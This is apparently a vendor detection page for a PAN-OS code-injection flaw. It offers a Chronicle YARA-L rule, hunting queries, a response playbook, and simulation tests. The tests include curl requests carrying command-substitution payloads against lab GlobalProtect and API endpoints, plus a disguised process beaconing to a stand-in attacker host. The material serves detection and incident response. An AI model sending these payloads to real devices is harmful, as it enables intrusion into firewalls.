Detect Palo Alto Networks PAN-OS Code Injection (CVE-2026-0322) in Google Chronicle
Detects exploitation attempts and post-exploitation activity associated with CVE-2026-0322, a code injection (CWE-94) vulnerability in Palo Alto Networks PAN-OS. The flaw is listed in the CISA KEV catalog and is being actively exploited in the wild for remote code execution against PAN-OS management and GlobalProtect interfaces. Detection focuses on anomalous requests to the PAN-OS management plane, injected command/code patterns in HTTP request bodies and URIs, and unexpected child processes or outbound connections spawned by PAN-OS web/management daemons.
MITRE ATT&CK
YARA-L Detection Query
rule panos_cve_2026_0322_code_injection {
meta:
author = "Argus"
description = "Detects CVE-2026-0322 PAN-OS code injection against management/GlobalProtect endpoints"
severity = "CRITICAL"
reference = "https://security.paloaltonetworks.com/CVE-2026-0322"
events:
$e.metadata.vendor_name = "Palo Alto Networks"
$e.network.http.method = /POST|PUT/
re.regex($e.target.url, `(?i)(global-protect|sslmgr|php/utils|/api/|/scripts/)`)
re.regex($e.network.http.request_body, `(?i)(\$\(|` + "`" + `|system\(|eval\(|exec\(|passthru\(|&&|\|\|)`)
$src = $e.principal.ip
match:
$src over 5m
condition:
$e
}Chronicle YARA-L rule matching PAN-OS web requests that contain command/code-injection primitives for CVE-2026-0322.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate API clients using special characters
- Authorized vulnerability scans
- Configuration automation with command-like payloads
Other platforms for CVE-2026-0322
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1 Simulated PAN-OS GlobalProtect code-injection request
Expected signal: PAN-OS web/management log entry showing a POST to a GlobalProtect path containing '$(' and 'id' in the request body.
- Test 2 Simulated management API injection probe
Expected signal: Management API log entry with a POST to /api/ containing '$(' and 'whoami'.
- Test 3 Post-exploit child process from web daemon (lab)
Expected signal: Process start event showing a shell/curl child process parented to an appweb/management-daemon-named process.
References (5)
- https://security.paloaltonetworks.com/CVE-2026-0322
- https://nvd.nist.gov/vuln/detail/CVE-2026-0322
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://www.bleepingcomputer.com/news/security/palo-alto-networks-warns-of-pan-os-rce-flaw-exploited-in-attacks/
Response Playbook
Triage
- Confirm the targeted device is a Palo Alto Networks PAN-OS firewall and identify the PAN-OS version via the management console or `show system info` to determine whether it is within the vulnerable range for CVE-2026-0322.
- Extract the source IP(s) of the injection requests and check against threat intelligence and the CISA KEV advisory; determine whether the source is internal, a known scanner, or an external attacker.
- Review the full HTTP request body and URI for the injected command/code and assess whether it would execute (e.g., reverse shell, file write, config exfiltration) versus a benign probe.
- Check the management plane for any new or modified administrator accounts, scheduled jobs, or configuration changes correlated in time with the suspicious requests.
Containment
- Restrict management-plane access to trusted administrative networks only and disable internet-facing GlobalProtect/management interfaces until patched.
- Apply the Palo Alto Networks fixed PAN-OS release or vendor-provided mitigation/threat-prevention signatures for CVE-2026-0322, then reboot and verify the running version.
- If compromise is confirmed, isolate the device from management and data networks and fail over to a known-good HA peer or spare appliance.
Evidence Collection
- Capture a tech-support file (`request tech-support dump`) and export management, GlobalProtect, and web server logs covering the exploitation window.
- Preserve full packet captures or proxy logs of the malicious requests and any resulting outbound connections for forensic analysis.
Escalation Criteria
- !Escalate to incident response immediately if a child process, reverse shell, or outbound C2 connection is observed originating from the PAN-OS management daemon.
- !Escalate to management and legal/compliance if configuration exfiltration, credential theft, or unauthorized admin account creation is confirmed, given the device's role as a security control.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
PAN-OS web server and management access logs showing POST/PUT requests with injection payloads - >
Tech-support dump containing process lists, cron/scheduled jobs, and modified configuration elements - >
Unexpected files written under writable web/management directories or new SSH keys in admin home directories
Tuning Guidance
Baseline legitimate sources of API/management traffic (orchestration servers, monitoring, backup tooling) and exclude their IPs. Tighten the metacharacter regex to the specific injection strings observed in your environment to reduce noise from benign payloads. Prioritize alerts where the source IP is external and the request is followed by an anomalous child process or outbound connection from the device.
Hunting Queries
Hunt for PAN-OS management requests containing code-injection primitives over the retention window to find earlier exploitation attempts.
CommonSecurityLog | where DeviceVendor has "Palo Alto" | where RequestURL has_any ("/global-protect/", "/sslmgr", "/php/utils/") | where AdditionalExtensions has_any ("$(", "`", "system(", "eval(") | project TimeGenerated, SourceIP, DestinationIP, RequestURL, RequestMethodindex=firewall sourcetype=pan:* (http_method=POST OR http_method=PUT) | regex _raw="(?i)(\$\(|`|system\(|eval\()" | table _time src_ip dest_ip url http_methodAtomic Red Team Tests
Sends a POST request to a lab PAN-OS GlobalProtect endpoint with a shell-metacharacter payload to generate detection telemetry for CVE-2026-0322.
Command
curl -k -X POST 'https://panos-lab.local/global-protect/portal/css/bootstrap.css' -d 'scep-profile-name=$(id>/tmp/poc_0322)' -H 'Content-Type: application/x-www-form-urlencoded'Cleanup
rm -f /tmp/poc_0322Expected Telemetry
PAN-OS web/management log entry showing a POST to a GlobalProtect path containing '$(' and 'id' in the request body.
Expected Detection
The kql/spl queries flag the request based on the injection primitive in the body against a GlobalProtect endpoint.
Issues a crafted request to the PAN-OS management API path containing command-substitution characters.
Command
curl -k -X POST 'https://panos-lab.local/api/?type=op&cmd=<request><system>$(whoami)</system></request>' -H 'X-PAN-KEY: TESTKEY'Cleanup
echo 'no artifacts to clean'Expected Telemetry
Management API log entry with a POST to /api/ containing '$(' and 'whoami'.
Expected Detection
Injection-pattern match on the /api/ endpoint triggers the detection across SIEM dialects.
Simulates a PAN-OS web daemon spawning a shell, mimicking successful RCE for endpoint-telemetry testing.
Command
setsid bash -c 'exec -a appweb bash -c "sh -c \"curl http://attacker-lab.local/beacon\""' &Cleanup
pkill -f 'curl http://attacker-lab.local/beacon' 2>/dev/null; trueExpected Telemetry
Process start event showing a shell/curl child process parented to an appweb/management-daemon-named process.
Expected Detection
The elastic_eql sequence and crowdstrike_cql queries correlate the injection request with the anomalous child process.